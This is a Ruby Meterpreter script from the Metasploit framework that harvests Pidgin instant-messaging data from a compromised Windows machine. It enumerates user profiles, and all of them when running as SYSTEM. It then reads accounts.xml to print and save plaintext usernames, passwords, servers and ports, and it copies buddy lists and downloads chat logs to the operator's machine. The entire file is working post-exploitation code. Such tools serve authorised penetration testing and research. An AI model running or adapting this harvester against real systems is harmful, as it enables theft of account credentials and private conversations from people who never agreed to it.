metasploit-framework/scripts/meterpreter/get_pidgin_creds.rb

213 lines
6.7 KiB
Ruby

##
# $Id$
##
require "rexml/document"
#-------------------------------------------------------------------------------
#Options and Option Parsing
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-c" => [ false, "Return credentials." ],
"-l" => [ false, "Retrieve logs." ],
"-b" => [ false, "Retrieve buddies." ]
)
get_credentials=false
get_buddies=false
get_logs=false
opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line "Meterpreter Script for extracting configured services with username and passwords."
print_line(opts.usage)
raise Rex::Script::Completed
when "-l"
get_logs=true
when "-b"
get_buddies=true
when "-c"
get_credentials=true
end
}
### If we get here and have none of our flags true, then we'll just
### get credentials
if !(get_credentials || get_buddies || get_logs)
get_credentials=true
end
#-------------------------------------------------------------------------------
#Set General Variables used in the script
@client = client
os = @client.sys.config.sysinfo['OS']
host = @client.sys.config.sysinfo['Computer']
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")+"-"+sprintf("%.5d",rand(100000))
# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory, 'im', host + filenameinfo )
# Create the log directory
::FileUtils.mkdir_p(logs)
#logfile name
dest = logs + "/" + host + filenameinfo + ".txt"
#-------------------------------------------------------------------------------
#function for checking of Pidgin profile is present
def check_pidgin(path)
found = nil
@client.fs.dir.foreach(path) do |x|
next if x =~ /^(\.|\.\.)$/
if x =~ (/\.purple/)
### If we find the path, let's return it
found = path + x
return found
end
end
return found
end
#-------------------------------------------------------------------------------
#function for extracting the buddies
def extract_buddies(path)
blist_xml = ""
buddies = ""
print_status("Reading blist.xml file...")
### modified to use pidgin_path, which already has .purple in it
blist_file = @client.fs.file.new(path + "\\blist.xml", "rb")
until blist_file.eof?
blist_xml << blist_file.read
end
blist_file.close
doc = (REXML::Document.new blist_xml).root
doc.elements["blist"].elements.each("group") {|group|
group.elements.each("contact") {|contact|
b_name=contact.elements["buddy"].elements["name"].text + ""
b_account=contact.elements["buddy"].attributes["account"] + ""
b_proto=contact.elements["buddy"].attributes["proto"] + ""
b_alias=""
if (contact.elements["buddy"].elements["alias"])
b_alias=contact.elements["buddy"].elements["alias"].text
end
buddies << "buddy=>" + b_name + "\talias=>" + b_alias + "\taccount=>" + b_account + ":" + b_proto + "\n"
}
}
return buddies
end
#-------------------------------------------------------------------------------
#function for downloading logs
def download_logs(dest,pidgin_path)
begin
stat = client.fs.file.stat(pidgin_path+"\\logs")
if(stat.directory?)
print_status("downloading " + pidgin_path +"\\logs to " + dest+"/logs")
client.fs.dir.download(dest+"/logs", pidgin_path+"\\logs", true)
end
rescue
print_status("Log directory does not exist, loggin is not enabled.")
end
end
#-------------------------------------------------------------------------------
#function for extracting the credentials
def extract_creds(path)
accounts_xml = ""
creds = ""
print_status("Reading accounts.xml file...")
### modified to use pidgin_path, which already has .purple in it
account_file = @client.fs.file.new(path + "\\accounts.xml", "rb")
until account_file.eof?
accounts_xml << account_file.read
end
account_file.close
doc = (REXML::Document.new accounts_xml).root
doc.elements.each("account") {|element|
password = "<unknown>"
if element.elements["password"]
password=element.elements["password"].text
end
print_status("\tProtocol: #{element.elements["protocol"].text}")
print_status("\tUsername: #{element.elements["name"].text}")
print_status("\tPassword: #{element.elements["password"].text}")
print_status("\tServer: #{element.elements["settings"].elements["setting[@name='server']"].text}")
print_status("\tPort: #{element.elements["settings"].elements["setting[@name='port']"].text}")
print_status()
creds << "user=>#{element.elements["name"].text}"
creds << "\tpass=>#{password}"
creds << "\tserver=>#{element.elements["settings"].elements["setting[@name='server']"].text}"
creds << ":#{element.elements["settings"].elements["setting[@name='port']"].text}"
creds << "\tproto=>#{element.elements["protocol"].text}\n"
}
return creds
end
#-------------------------------------------------------------------------------
#Function to enumerate the users if running as SYSTEM
def enum_users(os)
users = []
user = @client.sys.config.getuid
path4users = ""
sysdrv = @client.fs.file.expand_path("%SystemDrive%")
if os =~ /7|Vista|2008/
path4users = sysdrv + "\\users\\"
path2purple = "\\AppData\\Roaming\\"
else
path4users = sysdrv + "\\Documents and Settings\\"
path2purple = "\\Application Data\\"
end
if user == "NT AUTHORITY\\SYSTEM"
print_status("Running as SYSTEM extracting user list..")
@client.fs.dir.foreach(path4users) do |u|
userinfo = {}
next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
userinfo['username'] = u
userinfo['userappdata'] = path4users + u + path2purple
users << userinfo
end
else
userinfo = {}
uservar = @client.fs.file.expand_path("%USERNAME%")
userinfo['username'] = uservar
userinfo['userappdata'] = path4users + uservar + path2purple
users << userinfo
end
return users
end
#-------------------------------------------------------------------------------
# Function for writing results of other functions to a file
def filewrt(file2wrt, data2wrt)
output = ::File.open(file2wrt, "a")
if data2wrt
data2wrt.each_line do |d|
output.puts(d)
end
end
output.close
end
################## MAIN ##################
print_status("Running Meterpreter Pidgin Credential harvester script")
print_status("All services are logged at #{dest}")
enum_users(os).each do |u|
print_status("Checking if Pidgin profile is present for user :::#{u['username']}:::...")
### Find the path (if it exists) for this user,
pidgin_path = check_pidgin(u['userappdata'])
if pidgin_path
print_status("Pidgin profile found!")
### modified to use pidgin_path
if get_credentials
filewrt(dest,extract_creds(pidgin_path))
end
if get_buddies
filewrt(dest,extract_buddies(pidgin_path))
print_status("Buddie list has been saved to the log file.")
end
if get_logs
download_logs(logs,pidgin_path)
end
else
print_error("Pidgin profile not found!")
end
end